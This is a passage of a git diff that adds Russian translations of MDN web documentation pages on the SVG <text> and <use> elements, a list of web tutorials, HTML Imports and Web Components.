+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коммент</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('SVG2', 'text.html#TextElement', '&lt;text&gt;')}}</td>
+   <td>{{Spec2('SVG2')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'text.html#TextElement', '&lt;text&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Таблица составлена по информации из <a href="/en-US/docs/Web/SVG/Compatibility_sources">этого источника</a>.</p>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div>
+
+<p>{{Compat("svg.elements.text")}}</p>
+
+<h2 id="Контекст_использования">Контекст использования</h2>
+
+<p>{{Svginfo}}</p>
+
+<h2 id="Связь">Связь</h2>
+
+<ul>
+ <li>{{SVGElement("tref")}}</li>
+ <li>{{SVGElement("tspan")}}</li>
+ <li>{{SVGElement("altGlyph")}}</li>
+</ul>
diff --git a/files/ru/web/svg/элемент/use/index.html b/files/ru/web/svg/элемент/use/index.html
new file mode 100644
index 0000000000..12d7007932
--- /dev/null
+++ b/files/ru/web/svg/элемент/use/index.html
@@ -0,0 +1,126 @@
+---
+title: <use>
+slug: Web/SVG/Элемент/use
+tags:
+  - SVG
+  - SVG Графика
+  - Ссылка
+  - Элемент
+translation_of: Web/SVG/Element/use
+---
+<div>{{SVGRef}}</div>
+
+<p>Элемент <strong><code>&lt;use&gt;</code></strong> берёт элементы из SVG-документа и дублирует их где-то еще.</p>
+
+<div id="Exemple">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 30 10" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;circle id="myCircle" cx="5" cy="5" r="4" stroke="blue"/&gt;
+  &lt;use href="#myCircle" x="10" fill="blue"/&gt;
+  &lt;use href="#myCircle" x="20" fill="white" stroke="red"/&gt;
+  &lt;!--
+  В данном случае атрибут stroke="red" будет игнорироваться, так как
+  ранее он был задан непосредственно для фигуры круга с id "myCircle".
+  Большинство атрибутов (кроме x, y, width, height и (xlink:)href) не
+  переопределяют значения, заданные у предка.
+  Вот почему круги имеют разные координаты "x", но одинаковое значение "stroke".
+  --&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('Exemple', 100, 100)}}</p>
+</div>
+
+<p>Эффект такой же, как если бы элементы были полностью склонированы в DOM, а затем расположены в месте, где находится элемент <code>use</code>, подобно элементам <code>&lt;template&gt;</code> в HTML 5.<br>
+ <br>
+ Большинство атрибутов <code>use</code> <strong>не</strong> переопределяют те, что уже заданы у элемента, на который <code>use</code> ссылается. (Это отличается от того, как атрибуты CSS-стилей, переопределяют те, что были заданы раньше в каскаде). <strong>Только</strong> атрибуты {{SVGAttr("x")}}, {{SVGAttr("y")}}, {{SVGAttr("width")}}, {{SVGAttr("height")}} и {{SVGAttr("href")}} элемента <code>use</code> будут переопределять те, что были заданы у элемента, на который <code>use</code> ссылается. Однако к элементу <code>use</code> будут применены любые другие атрибуты, не заданные у элемента, на который <code>use</code> ссылается.<br>
+ <br>
+ Поскольку клонированные элементы не отображаются, нужно соблюдать осторожность при использовании <a href="/en-US/docs/Web/CSS" title="en/CSS">CSS</a> для стилизации элемента <code>use</code> и его клонированных потомков. Нет гарантии, что CSS-свойства будут унаследованы клонированным DOM, пока вы явно не зададите им использование <a href="/en-US/docs/Web/CSS/inheritance">CSS-наследования</a>.<br>
+ <br>
+ По соображениям безопасности, браузеры могут применять <a href="/en-US/docs/Web/Security/Same-origin_policy">правило ограничения домена</a> для элементов <code>use</code> и могут отказаться загружать URL другого источника в атрибуте {{SVGAttr("href")}}.</p>
+
+<div class="warning">
+<p>Начиная с SVG 2, атрибут {{SVGAttr("xlink:href")}} получил статус "Устарело" в пользу {{SVGAttr("href")}}. Дополнительную информацию ищите на странице {{SVGAttr("xlink:href")}}. Тем не менее,  на практике всё еще может быть потребность в использовании {{SVGAttr("xlink:href")}} для кроссбраузерной совместимости (смотрите <a href="#browser-compatibility">таблицу совместимости</a> ниже).</p>
+</div>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<dl>
+ <dt id="attr-cx">{{SVGAttr("href")}}</dt>
+ <dd>Ссылка на элемент/фрагмент, который нужно продублировать.<br>
+ <small><em>Тип значения</em>: <a href="/docs/Web/SVG/Content_type#URL"><strong>&lt;URL&gt;</strong></a> ; <em>Значение по умолчанию</em>: <code>none</code>; <em>Анимируется</em>: <strong>да</strong></small></dd>
+ <dt id="attr-cx">{{SVGAttr("xlink:href")}}</dt>
+ <dd>{{Deprecated_Header("SVG2")}}<a href="/en/SVG/Content_type#IRI" title="https://developer.mozilla.org/en/SVG/Content_type#IRI">&lt;IRI&gt;</a>-ссылка на элемент/фрагмент, который нужно продублировать.<br>
+ <small><em>Тип значения</em>: <a href="/docs/Web/SVG/Content_type#IRI"><strong>&lt;IRI&gt;</strong></a> ; <em>Значение по умолчанию</em>: <code>none</code>; <em>Анимируется</em>: <strong>да</strong></small></dd>
+ <dt>{{SVGAttr("x")}}</dt>
+ <dd>Координата "x" элемента <code>use</code>.<br>
+ <small><em>Тип значения</em>: <a href="/docs/Web/SVG/Content_type#Coordinate"><strong>&lt;coordinate&gt;</strong></a> ; <em>Значение по умолчанию</em>: <code>0</code>; <em>Анимируется</em>: <strong>да</strong></small></dd>
+ <dt id="attr-cy">{{SVGAttr("y")}}</dt>
+ <dd>Координата "y" элемента <code>use</code>.<br>
+ <small><em>Тип значения</em>: <a href="/docs/Web/SVG/Content_type#Coordinate"><strong>&lt;coordinate&gt;</strong></a> ; <em>Значение по умолчанию</em>: <code>0</code>; <em>Анимируется</em>: <strong>да</strong></small></dd>
+ <dt id="attr-r">{{SVGAttr("width")}}</dt>
+ <dd>Ширина элемента <code>use</code>.<br>
+ <small><em>Тип значения</em>: <a href="/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a> ; <em>Значение по умолчанию</em>: <code>0</code>; <em>Анимируется</em>: <strong>да</strong></small></dd>
+ <dt>{{SVGAttr("height")}}</dt>
+ <dd>Высота элемента <code>use</code>.<br>
+ <small><em>Тип значения</em>: <a href="/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a> ; <em>Значение по умолчанию</em>: <code>0</code>; <em>Анимируется</em>: <strong>да</strong></small></dd>
+</dl>
+
+<div class="note">
+<p><strong>Примечание:</strong> Начиная с SVG2, <code>x</code>, <code>y</code>, <code>width</code>, и <code>height</code> являются <em>Свойствами Геометрии</em>, то есть эти атрибуты также могут быть использованы в качестве CSS-свойств для этого элемента.</p>
+</div>
+
+<h3 id="Глобальные_атрибуты">Глобальные атрибуты</h3>
+
+<dl>
+ <dt><a href="/docs/Web/SVG/Attribute/Core">Core Attributes</a></dt>
+ <dd><small>Most notably: {{SVGAttr('id')}}, {{SVGAttr('tabindex')}}</small></dd>
+ <dt><a href="/docs/Web/SVG/Attribute/Styling">Styling Attributes</a></dt>
+ <dd><small>{{SVGAttr('class')}}, {{SVGAttr('style')}}</small></dd>
+ <dt><a href="/docs/Web/SVG/Attribute/Conditional_Processing">Conditional Processing Attributes</a></dt>
+ <dd><small>Most notably: {{SVGAttr('requiredExtensions')}}, {{SVGAttr('systemLanguage')}}</small></dd>
+ <dt>Атрибуты Событий</dt>
+ <dd><small><a href="/docs/Web/SVG/Attribute/Events#Global_Event_Attributes">Global event attributes</a>, <a href="/docs/Web/SVG/Attribute/Events#Graphical_Event_Attributes">Graphical event attributes</a></small></dd>
+ <dt><a href="/docs/Web/SVG/Attribute/Presentation">Presentation Attributes</a></dt>
+ <dd><small>Most notably: {{SVGAttr('clip-path')}}, {{SVGAttr('clip-rule')}}, {{SVGAttr('color')}}, {{SVGAttr('color-interpolation')}}, {{SVGAttr('color-rendering')}}, {{SVGAttr('cursor')}}, {{SVGAttr('display')}}, {{SVGAttr('fill')}}, {{SVGAttr('fill-opacity')}}, {{SVGAttr('fill-rule')}}, {{SVGAttr('filter')}}, {{SVGAttr('mask')}}, {{SVGAttr('opacity')}}, {{SVGAttr('pointer-events')}}, {{SVGAttr('shape-rendering')}}, {{SVGAttr('stroke')}}, {{SVGAttr('stroke-dasharray')}}, {{SVGAttr('stroke-dashoffset')}}, {{SVGAttr('stroke-linecap')}}, {{SVGAttr('stroke-linejoin')}}, {{SVGAttr('stroke-miterlimit')}}, {{SVGAttr('stroke-opacity')}}, {{SVGAttr('stroke-width')}}, {{SVGAttr("transform")}}, {{SVGAttr('vector-effect')}}, {{SVGAttr('visibility')}}</small></dd>
+ <dt>ARIA Атрибуты</dt>
+ <dd><small><code>aria-activedescendant</code>, <code>aria-atomic</code>, <code>aria-autocomplete</code>, <code>aria-busy</code>, <code>aria-checked</code>, <code>aria-colcount</code>, <code>aria-colindex</code>, <code>aria-colspan</code>, <code>aria-controls</code>, <code>aria-current</code>, <code>aria-describedby</code>, <code>aria-details</code>, <code>aria-disabled</code>, <code>aria-dropeffect</code>, <code>aria-errormessage</code>, <code>aria-expanded</code>, <code>aria-flowto</code>, <code>aria-grabbed</code>, <code>aria-haspopup</code>, <code>aria-hidden</code>, <code>aria-invalid</code>, <code>aria-keyshortcuts</code>, <code>aria-label</code>, <code>aria-labelledby</code>, <code>aria-level</code>, <code>aria-live</code>, <code>aria-modal</code>, <code>aria-multiline</code>, <code>aria-multiselectable</code>, <code>aria-orientation</code>, <code>aria-owns</code>, <code>aria-placeholder</code>, <code>aria-posinset</code>, <code>aria-pressed</code>, <code>aria-readonly</code>, <code>aria-relevant</code>, <code>aria-required</code>, <code>aria-roledescription</code>, <code>aria-rowcount</code>, <code>aria-rowindex</code>, <code>aria-rowspan</code>, <code>aria-selected</code>, <code>aria-setsize</code>, <code>aria-sort</code>, <code>aria-valuemax</code>, <code>aria-valuemin</code>, <code>aria-valuenow</code>, <code>aria-valuetext</code>, <code>role</code></small></dd>
+ <dt>XLink Атрибуты</dt>
+ <dd><small>{{SVGAttr("xlink:href")}}, {{SVGAttr("xlink:title")}}</small></dd>
+</dl>
+
+<h2 id="Примечание_по_использованию">Примечание по использованию</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('SVG2', 'struct.html#UseElement', '&lt;use&gt;')}}</td>
+   <td>{{Spec2('SVG2')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'struct.html#UseElement', '&lt;use&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость"><a id="browser-compatibility" name="browser-compatibility">Браузерная совместимость</a></h2>
+
+
+
+<p>{{Compat("svg.elements.use")}}</p>
diff --git a/files/ru/web/tutorials/index.html b/files/ru/web/tutorials/index.html
new file mode 100644
index 0000000000..ccf6849657
--- /dev/null
+++ b/files/ru/web/tutorials/index.html
@@ -0,0 +1,173 @@
+---
+title: Учебники
+slug: Web/Tutorials
+tags:
+  - Веб-дизайн
+  - Код
+  - Руководство
+translation_of: Web/Tutorials
+---
+<p>Ссылки на этой странице ведут к целому ряду учебных пособий и материалов. Если вы только начинаете учить основы, или же вы уже бывалый веб-разработчик, то здесь вы сможете найти полезные ресурсы для получения передового практического опыта.  <span id="result_box" lang="ru"><span class="hps">Эти ресурсы</span> <span class="hps">создаются</span> <span class="hps">дальновидными</span> <span class="hps">компаниями</span> <span class="atn hps">и веб-</span><span>разработчиками, включают</span> <span class="hps">открытые стандарты и</span> <span class="hps">лучшие</span> <span class="hps">практики</span> <span class="hps">для веб-разработки, </span><span class="hps">предоставляют</span> <span class="hps">или</span> <span class="hps">позволяют</span> <span class="hps">переводы</span> под открытой лицензией<span class="hps">, такой, как</span> <span class="hps">Creative Commons.</span></span></p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Documentation" name="Documentation">HTML <span class="short_text" id="result_box" lang="ru"><span class="hps">учебники</span></span></h2>
+
+<h3 id="Вводный_уровень">Вводный уровень</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/Guide/HTML/Introduction">Введение в HTML</a></dt>
+ <dd>Что такое HTML, что он делает, его краткая история, и что представляет собой структура HTML документа. В последующих статьях мы подробнее рассмотрим отдельные части HTML.</dd>
+ <dt><a href="http://reference.sitepoint.com/html/page-structure" rel="external">Базовая структура веб-страницы</a> (SitePoint)</dt>
+ <dd>Узнайте как HTML <span class="short_text" id="result_box" lang="ru"><span class="hps">элементы</span> <span class="hps">сочетаются</span> <span class="hps">в общую картину</span></span>.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/HTML/Element">MDN HTML Element Reference</a></dt>
+ <dd><span id="result_box" lang="ru"><span class="hps">Комплексный</span> <span class="hps">справочник</span> <span class="hps">для</span> <span class="hps">HTML</span> <span class="hps">элементов</span><span>,</span> <span class="hps">и</span><span>, как различные</span> <span class="hps">браузеры поддерживают</span> <span class="hps">их</span><span>.</span></span></dd>
+ <dt><a href="http://wikiversity.org/wiki/Web_Design/HTML_Challenges" rel="external">HTML Challenges</a> (Wikiversity)</dt>
+ <dd><span id="result_box" lang="ru"><span class="hps">Используйте эти</span> <span class="hps">задачки</span><span>, чтобы отточить свои</span> <span class="hps">HTML навыки</span> <span class="atn hps">(для </span><span>примера,</span> <span class="atn hps">"Какой элемент нужно использовать - </span><span class="atn hps"> &lt;</span><span>h2</span><span>&gt;</span> <span class="hps"> или</span> <span class="hps">&lt;STRONG&gt;</span><span>?</span><span>"</span><span>)</span><span>, фокусируясь на</span> <span class="hps">смысле разметки</span><span>.</span></span></dd>
+ <dt></dt>
+</dl>
+
+<h3 id="Продвинутый_уровень">Продвинутый уровень</h3>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Tips_for_Authoring_Fast-loading_HTML_Pages">Tips for Authoring Fast-Loading HTML Pages</a></dt>
+ <dd><span id="result_box" lang="ru"><span class="hps">Оптимизация</span> <span class="hps">веб-страниц</span><span>, для большей адаптивности</span> <span class="hps">сайта</span> <span class="hps">и</span> <span class="hps">снижения нагрузки</span> <span class="hps">на веб-сервера</span> <span class="hps">и подключение к Интернету</span></span></dd>
+ <dt><a href="http://www.html5rocks.com/tutorials/" rel="external">HTML5 Tutorials</a> (HTML5 Rocks)</dt>
+ <dd><span id="result_box" lang="ru"><span class="hps">Совершите экскурсию</span> <span class="hps">в код</span><span>, который использует</span> <span class="hps">возможности HTML5</span><span>.</span></span></dd>
+ <dt><a href="http://www.alistapart.com/articles/semanticsinhtml5/" rel="external">Semantics in HTML5</a> (A List Apart)</dt>
+ <dd>Изучите рабочую разметку, обеспечивающую обратную совместимость, расширяемую и поддерживающую будущие изменения (совместимость вперед).</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Canvas_tutorial">Canvas Tutorial</a></dt>
+ <dd>Узнайте, как рисовать с помощью скриптов, используя элемент <code>canvas</code>.</dd>
+ <dt><a href="http://html5doctor.com/" rel="external">HTML5 Doctor</a></dt>
+ <dd>Статьи о том, как  используется HTML5 прямо сейчас.</dd>
+ <dt><a href="http://www.elated.com/articles/html5-audio/" rel="external">The Joy of HTML5 Audio</a> (Elated)</dt>
+ <dd>Узнайте как использовать HTML аудио элемент для того, чтобы вставлять звуки в ваши веб-страницы. В учебнике представлено много примеров кода.</dd>
+</dl>
+
+<h2 class="Documentation" id="Documentation" name="Documentation">Javascript учебники</h2>
+
+<h3 id="Вводный_уровень_2">Вводный уровень</h3>
+
+<dl>
+ <dt><strong><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps">JavaScript First Steps</a></strong></dt>
+ <dd>JavaScript руководство, написанное как часть MDN <a href="https://developer.mozilla.org/en-US/docs/Learn">Learning Area</a>.</dd>
+</dl>
+
+<dl>
+ <dt><a href="http://www.codecademy.com/">Codecademy</a> (Codecademy)</dt>
+ <dd>Codecademy это простой способ изучить JavaScript. Он интерактивный, и вы можете делать это вместе с друзьями</dd>
+ <dt><a href="https://developer.mozilla.org/ru/docs/Learn/Getting_started_with_the_web/JavaScript_basics">Getting Started with JavaScript</a></dt>
+ <dd>Что такое JavaScript и как он может пригодиться вам?</dd>
+ <dt><a href="http://dev.opera.com/articles/view/javascript-best-practices/" rel="external">JavaScript Best Practices</a><a href="http://docs.webplatform.org/wiki/tutorials/javascript_best_practices" title="http://docs.webplatform.org/wiki/tutorials/javascript_best_practices"> </a>(WebPlatform.org)</dt>
+ <dd>Узнайте о некоторых из очевидных (и не очень очевидных) лучших практиках для написания кода на  JavaScript.</dd>
+ <dt></dt>
+</dl>
+
+<h3 id="Средний_уровень">Средний уровень</h3>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/A_re-introduction_to_JavaScript">A Re-Introduction to JavaScript</a></dt>
+ <dd>Повторение языка программирования JavaScript для разработчиков среднего уровня.</dd>
+ <dt><a href="http://eloquentjavascript.net/contents.html" rel="external">Eloquent JavaScript</a></dt>
+ <dd>Полное руководство по "средним" и "продвинутым" методикам JavaScript.</dd>
+ <dt><a href="http://www.addyosmani.com/resources/essentialjsdesignpatterns/book/" rel="external">Essential JavaScript Design Patterns</a> (Addy Osmani)</dt>
+ <dd>Введение в основы шаблонов проектирования JavaScript.</dd>
+ <dt><a href="http://www.yuiblog.com/blog/2007/01/24/video-crockford-tjpl/" rel="external">The JavaScript Programming Language</a> (YUI Blog)</dt>
+ <dd>Douglas Crockford исследует язык, какой он есть сегодня, и как он пришел, чтобы быть.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Introduction_to_Object-Oriented_JavaScript">Introduction to Object-Oriented JavaScript</a></dt>
+ <dd>Узнайте об ООП в JavaScript.</dd>
+</dl>
+</div>
+
+<div class="section">
+<dl>
+ <dt><strong><a href="http://speakingjs.com/es5/" rel="external">Speaking JavaScript</a> (Dr. Axel Rauschmayer)</strong></dt>
+ <dd>Для тех программистов, кто хочет быстро и хорошо выучить  JavaScript, а так же для тех, кто хочет углубить свои навыки или же изучить какие-то специфические темы.</dd>
+</dl>
+
+<h3 id="Продвинутый_уровень_2">Продвинутый уровень</h3>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Guide">JavaScript Guide</a></dt>
+ <dd>Полное, регулярно обновляемое руководство по JavaScript для всех уровней обучения от начального до продвинутого.</dd>
+ <dt><a href="http://ejohn.org/apps/learn/" rel="external">Learning Advanced JavaScript</a> (John Resig)</dt>
+ <dd>Гид по "продвинутому" JavaScript от John Resig.</dd>
+ <dt><a href="http://www.elated.com/articles/javascript-dom-intro/" rel="external">Introducing the JavaScript DOM</a> (Elated)</dt>
+ <dd>Что такое Document Object Model, и зачем она нужна? Эта статья дает вам постепенное введение в эту мощную способность JavaScript.</dd>
+ <dt><a href="http://yuiblog.com/blog/2006/10/20/video-crockford-domtheory/" rel="external">An Inconvenient API: The Theory of the DOM</a> (YUI Blog)</dt>
+ <dd>Douglas Crockford объясняет Document Object Model.</dd>
+ <dt><a href="http://yuiblog.com/blog/2006/11/27/video-crockford-advjs/" rel="external">Advanced JavaScript</a> (YUI Blog)</dt>
+ <dd>Douglas Crockford пристально следит за шаблоном кода, который JavaScript программисты могут выбрать в авторстве своих приложений.</dd>
+ <dt><a href="http://bonsaiden.github.com/JavaScript-Garden/" rel="external">JavaScript Garden</a></dt>
+ <dd>Документация из самых необычных частей JavaScript</dd>
+ <dt><a href="http://webcache.googleusercontent.com/search?q=cache:CJYRO48hw9EJ:stackoverflow.com/questions/394601/which-javascript-framework-jquery-vs-dojo-vs" rel="external">Which JavaScript Framework?</a> (StackOverflow)</dt>
+ <dd>Советы по выбору основы JavaScript..</dd>
+ <dt><a href="http://yuiblog.com/blog/2008/07/22/non-blocking-scripts/" rel="external">Non-Blocking JavaScript Downloads</a> (YUI Blog)</dt>
+ <dd>Советы по улучшению производительности скачивания страниц, содержащих JavaScript</dd>
+ <dt><a href="http://shichuan.github.io/javascript-patterns">JavaScript Patterns</a></dt>
+ <dd>Шаблоны и антишаблоны проектирования JavaScript, которые охватывают функциональные шаблоны, шаблоны JQuery, шаблоны плагинов JQuery, шаблоны проектирования, основные шаблоны, literal patterns и шаблоны конструирования, шаблоны создания объекта, переиспользуемый шаблонный код, DOM.</dd>
+ <dt><a href="http://www.html5rocks.com/en/tutorials/internals/howbrowserswork/">How Browsers Work</a></dt>
+ <dd>Статья с подробным исследованием, описывающая различные современные браузеры, их движки, рендеринг страниц и пр.</dd>
+</dl>
+
+<dl>
+ <dt><strong><a href="http://exploringjs.com/es6/" rel="external">Exploring ES6</a> (Dr. Axel Rauschmayer)</strong></dt>
+ <dd>Надежная и подробная информация об ECMAScript 2015.</dd>
+ <dt><a href="https://github.com/bolshchikov/js-must-watch">JavaScript Videos</a> (GitHub)</dt>
+ <dd>Видео о JavaScript.</dd>
+</dl>
+
+<dl>
+ <dt>
+ <h2 id="CSS_учебники">CSS учебники</h2>
+ </dt>
+</dl>
+
+<h3 id="Вводный_уровень_3">Вводный уровень</h3>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/CSS/Getting_Started">CSS Getting Started</a></dt>
+ <dd>Этот учебник познакомит вас с каскадными таблицами стилей (CSS). Он проведет вас через основные особенности CSS и предложит практические примеры, которые можно попробовать на вашем компьютере.</dd>
+ <dt><a href="http://en.wikiversity.org/wiki/Web_Design/CSS_Classes" rel="external">CSS Selector Classes</a> (Wikiversity)</dt>
+ <dd>Что такое классы в CSS?</dd>
+ <dt><a href="http://en.wikiversity.org/wiki/Web_Design/External_CSS" rel="external">External CSS</a> (Wikiversity)</dt>
+ <dd>Использование CSS из внешних источников.</dd>
+ <dt><a href="http://www.w3.org/MarkUp/Guide/Style" rel="external">Adding a Touch of Style</a> (W3C)</dt>
+ <dd>Краткое руководство для начинающих по стилизации веб-страниц с помощью CSS.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Common_CSS_Questions">Common CSS Questions</a></dt>
+ <dd>Общие вопросы и ответы для начинающих.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Getting_started/Selectors">CSS Selectors</a></dt>
+ <dd>Введение в CSS селекторы.</dd>
+</dl>
+
+<h3 id="Средний_уровень_2">Средний уровень</h3>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/CSS/CSS_Reference">CSS Reference</a></dt>
+ <dd>Полный справочник по CSS, с информацией о поддержке в Firefox и других браузерах.</dd>
+ <dt><a href="http://en.wikiversity.org/wiki/Web_Design/CSS_challenges" rel="external">CSS Challenges</a> (Wikiversity)</dt>
+ <dd>Улучшите ваши навыки CSS, и обратите внимание на то, где вам нужно больше практики.</dd>
+ <dt><a href="http://www.html.net/tutorials/css/" rel="external">Intermediate CSS Concepts</a> (HTML.net)</dt>
+ <dd>Группировка, псевдо-классы и многое другое.</dd>
+ <dt><a href="http://www.alistapart.com/articles/css-positioning-101/" rel="external">CSS Positioning 101</a> (A List Apart)</dt>
+ <dd>Использование позиционирования в соотвествии со стандартами, без использования таблиц.</dd>
+ <dt><a href="http://www.alistapart.com/articles/progressiveenhancementwithcss/" rel="external">Progressive Enhancement with CSS</a> (A List Apart)</dt>
+ <dd>Прогрессивное улучшение в веб-страницы с помощью CSS.</dd>
+ <dt><a href="http://www.alistapart.com/articles/fluidgrids/" rel="external">Fluid Grids</a> (A List Apart)</dt>
+ <dd>Дизайн верстки, который плавно изменяется вместе с размерами окна, основанный на сетке.</dd>
+</dl>
+
+<h3 id="Продвинутый_уровень_3">Продвинутый уровень</h3>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/CSS/Using_CSS_transforms">Using CSS Transforms</a></dt>
+ <dd>Как применять поворот, наклон, масштабирование и перемещение при помощи CSS</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/CSS/CSS_transitions">CSS Transitions</a></dt>
+ <dd>CSS переходы, спецификация CSS3 по этой теме, как анимировать изменения стилей в CSS, вместо того, чтобы делать их "сразу".</dd>
+ <dt><a href="http://www.html5rocks.com/tutorials/webfonts/quick/" rel="external">Quick Guide to Implement Web Fonts with @font-face</a> (HTML5 Rocks)</dt>
+ <dd>Возможности @font-face в CSS3, создание собственных шрифтов и работа с ними.</dd>
+ <dt><a href="http://davidwalsh.name/starting-css" rel="external">Starting to Write CSS</a> (David Walsh)</dt>
+ <dd>Введение в инструменты и методологии для разработки более краткого, масштабируемого и поддерживаемого CSS.</dd>
+</dl>
+</div>
+</div>
diff --git a/files/ru/web/web_components/html_imports/index.html b/files/ru/web/web_components/html_imports/index.html
new file mode 100644
index 0000000000..06dab35aba
--- /dev/null
+++ b/files/ru/web/web_components/html_imports/index.html
@@ -0,0 +1,37 @@
+---
+title: HTML Импорты
+slug: Web/Web_Components/HTML_Imports
+translation_of: Web/Web_Components/HTML_Imports
+---
+<div class="warning">
+<p>Firefox will not ship <em>HTML Imports</em> in its current form. See this <a href="https://hacks.mozilla.org/2015/06/the-state-of-web-components/">status update</a> for more information. Until there is a consensus on the standard or alternative mechanisms are worked out, you can use a polyfill such as Google's <code><a href="https://github.com/webcomponents/webcomponentsjs">webcomponents.js</a></code>.</p>
+</div>
+
+<p><em>HTML Импорты</em> is intended to be the packaging mechanism for <a href="/en-US/docs/Web/Web_Components">web components</a>, but you can also use HTML Imports by itself.</p>
+
+<div>You import an HTML file by using a <a href="/en-US/docs/Web/HTML/Element/link"><code>&lt;link&gt;</code></a> tag in an HTML document like this: </div>
+
+<div> </div>
+
+<pre>&lt;link rel="import" href="myfile.html"&gt;</pre>
+
+<p><span style="line-height: 1.5;">The </span><code style="font-style: normal; line-height: 1.5;">import</code><span style="line-height: 1.5;"> </span><span style="line-height: 1.5;">link type </span><span style="line-height: 1.5;">is new.</span></p>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="spec-table standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML Imports', "", "")}}</td>
+   <td>{{Spec2('HTML Imports')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
diff --git a/files/ru/web/web_components/index.html b/files/ru/web/web_components/index.html
new file mode 100644
index 0000000000..e8ec0144cc
--- /dev/null
+++ b/files/ru/web/web_components/index.html
@@ -0,0 +1,205 @@
+---
+title: Веб-компоненты
+slug: Web/Web_Components
+translation_of: Web/Web_Components
+---
+<p>{{DefaultAPISidebar("Веб-компоненты")}}</p>
+
+<p>Веб-компоненты - это набор различных технологий, позволяющих создавать повторно используемые настраиваемые элементы с их функциональностью, инкапсулированной отдельно от остальной части вашего кода - и использовать их в ваших веб-приложениях.</p>
+
+<h2 id="Понятия_и_использование">Понятия и использование</h2>
+
+<p>Как разработчики, все мы знаем, что как можно больше повторного использования кода - хорошая идея. Традиционно это было не так просто для пользовательских структур разметки - подумайте о сложном HTML (и связанном с ним стиле и сценарии), которые вам иногда приходилось писать для визуализации пользовательских элементов управления UI, и о том, как их многократное использование может превратить вашу страницу в беспорядок если вы не будете осторожны.</p>
+
+<p>Веб-компоненты направлены на решение таких проблем - они состоят из трех основных технологий, которые можно использовать вместе для создания универсальных настраиваемых элементов с инкапсулированной функциональностью, которые можно повторно использовать где угодно, не опасаясь коллизий кода.</p>
+
+<ul>
+ <li><strong>Пользовательские элементы</strong>: набор API-интерфейсов JavaScript, позволяющих определять пользовательские элементы и их поведение, которые затем можно использовать по желанию в пользовательском интерфейсе.</li>
+ <li><strong>Shadow DOM</strong>: набор API-интерфейсов JavaScript для прикрепления инкапсулированного «теневого» дерева DOM к элементу, который отображается отдельно от DOM основного документа, и управления соответствующими функциями. Таким образом, вы можете сохранить функции элемента в секрете, поэтому для них можно создавать сценарии и стили, не опасаясь коллизий с другими частями документа.</li>
+ <li><strong>HTML templates</strong>: элементы {{HTMLElement("template")}} и {{HTMLElement("slot")}} позволяют создавать шаблоны разметки, которыx не видно на отображаемой странице. Затем их можно многократно использовать в качестве основы структуры настраиваемого элемента.</li>
+</ul>
+
+<p>Базовый подход к реализации веб-компонента обычно выглядит примерно так:</p>
+
+<ol>
+ <li>Создайте класс, в котором вы указываете функциональность своего веб-компонента, используя синтаксис классов ECMAScript 2015 (дополнительную информацию см. в разделе <a href="https://wiki.developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Classes">Классы</a>).</li>
+ <li>Зарегистрируйте свой новый настраиваемый элемент с помощью метода {{domxref("CustomElementRegistry.define()")}}, передав ему имя элемента, который будет определен, класс или функцию, в которых указана его функцианальность, и, необязательно, от какого элемента он наследуется.</li>
+ <li>При необходимости прикрепите теневую DOM к настраиваемому элементу с помощью метода {{domxref("Element.attachShadow()")}}. Добавьте дочерние элементы, прослушиватели событий и т.д. в теневой DOM, используя обычные методы DOM.</li>
